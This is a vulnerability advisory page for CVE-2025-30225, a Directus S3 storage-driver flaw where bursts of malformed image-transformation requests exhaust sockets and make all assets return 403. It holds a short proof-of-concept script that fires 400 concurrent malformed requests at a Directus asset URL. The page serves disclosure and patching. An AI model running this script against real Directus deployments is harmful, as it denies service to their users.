CVE-2025-30225
JSON

5.3medium

Directus's S3 assets become unavailable after a burst of malformed transformations

Severity
5.3medium CVSS:3.1 by GitHub_M
Exploit likelihood
0.44% (higher than 39% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-j8xj-7jff-46mx

Description

Directus is a real-time API and App dashboard for managing SQL database content. The `@directus/storage-driver-s3` package starting in version 9.22.0 and prior to version 12.0.1, corresponding to Directus starting in version 9.22.0 and prior to 11.5.0, is vulnerable to asset unavailability after a burst of malformed transformations. When making many malformed transformation requests at once, at some point, all assets are served as 403. This causes denial of assets for all policies of Directus, including Admin and Public. Version 12.0.1 of the `@directus/storage-driver-s3` package, corresponding to version 11.5.0 of Directus, fixes the issue.

Affected

Product or packageVersionsReported by
directus directus>= 9.22.0, < 11.5.0CVE List
@directus/storage-driver-s3 (npm)from 9.22.0 before 12.0.1GitHub Advisory Database
directus (npm)from 9.22.0 before 11.5.0GitHub Advisory Database
monospace directusfrom 9.22.0 before 11.5.0NVD

All scores

GitHub_M5.3medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
GitHub5.3medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Classification

CWE-770

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

Directus is a real-time API and App dashboard for managing SQL database content. The `@directus/storage-driver-s3` package starting in version 9.22.0 and prior to version 12.0.1, corresponding to Directus starting in version 9.22.0 and prior to 11.5.0, is vulnerable to asset unavailability after a burst of malformed transformations. When making many malformed transformation requests at once, at some point, all assets are served as 403. This causes denial of assets for all policies of Directus, including Admin and Public. Version 12.0.1 of the `@directus/storage-driver-s3` package, corresponding to version 11.5.0 of Directus, fixes the issue.

GitHub Advisory Database
Summary

When making many malformed transformation requests at once, at some point, all assets are being served as 403.

Details

When I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of sockets held on Agent on NodeHttpHandler was always equal to STORAGE_CLOUD_MAX_SOCKETS making it impossible to have new connections causing assets to be inaccessible.

After looking into this issue on AWS SDK I found that if the stream is requested, it needs to be consumed otherwise will hang forever. And as can be seen here the stream is not consumed, because sharp will throw an error on the invalid arguments. For example ?height=xyz

The timeouts set here had no noticeable effect on tests made.

PoC

This can be easily reproduced with the following steps:

  • setup AWS S3 storage
  • set STORAGE_CLOUD_MAX_SOCKETS: "50" (this value is lower than default for easier reproduction)
  • upload a file to your project
  • run this file (Replace the the file ID with the one you just uploaded):
import axios from "axios";

async function start() {
  Array.from({ length: 400 }, (_, i) => {
    axios
      .get(
        "http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ"
      )
      .then(() => console.log("✅"))
      .catch((e) =>
        console.log("⛔", e.response?.status || e.code || e.message)
      );
  });
}

start();

Here's an example:

https://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c

Impact

This causes denial of assets for all policies of Directus, including Admin and Public.

NVD (es)

Directus es una API en tiempo real y un panel de control de aplicaciones para gestionar el contenido de bases de datos SQL. El paquete `@directus/storage-driver-s3`, disponible a partir de la versión 9.22.0 y anteriores a la 12.0.1, correspondiente a Directus a partir de la versión 9.22.0 y anteriores a la 11.5.0, es vulnerable a la indisponibilidad de activos tras una ráfaga de transformaciones malformadas. Al realizar varias solicitudes de transformaciones malformadas a la vez, en algún momento, todos los activos se atienden como 403. Esto provoca la denegación de activos para todas las políticas de Directus, incluidas las de administrador y públicas. La versión 12.0.1 del paquete `@directus/storage-driver-s3`, correspondiente a la versión 11.5.0 de Directus, soluciona el problema.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-30225 changed 2025-03-26CVE Terms of Use
GitHub Advisory DatabaseGHSA-j8xj-7jff-46mx changed 2025-03-27CC-BY-4.0
NVDCVE-2025-30225 changed 2026-06-17Public domain